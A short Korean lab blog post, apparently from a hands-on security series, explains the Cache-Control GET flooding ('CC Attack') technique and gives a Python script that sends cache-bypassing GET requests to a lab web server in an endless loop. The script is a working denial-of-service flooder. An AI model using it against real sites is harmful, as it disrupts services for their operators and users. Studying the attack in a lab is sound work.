블로그 내의 모든 예시와 실습은 VMware workstation16.2.3, Kali Linux 2022.03, CentOS6.5를 활용 합니다.
CC Attack(=GET Flooding with Cache-Control Attack)
- HTTP Request의 Cache-Control 메시지 헤더를 조작하여 Cache 서비스가 가능한 자원도 웹 서버가 직접 처리하도록 유도한다.
- Cache-Control: no-store; must-revalidate
- no-store -> 클라이언트에게 요청 받은 데이터를 디스크, 메모리, 별도의 저장 장치(Cache Server)에 저장하는 것을 금지
- must-revalidate -> 웹 서버가 Caching Server에게 저장된 Cache에 대한 검증을 요구하는 메시지(서버가 전달하는 값)
- Caching 기능을 무력화 시켜서 웹 서버의 부하를 유발하는 공격
- Caching Server를 운영하는 웹 사이트가 공격 대상이 될 수 있다.
실습
python code 구현
vi http_getflood.py
import socket
import time
request_header = 'GET /INDEX.html HTTP/1.1\r\n'
request_header += 'HOST: 172.16.0.210\r\n'
request_header += 'Cache-Control: no-cache\r\n'
request_header += '\r\n'
sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
sock.connect(('172.16.0.210',80))
while True:
sock.send(request_header.encode())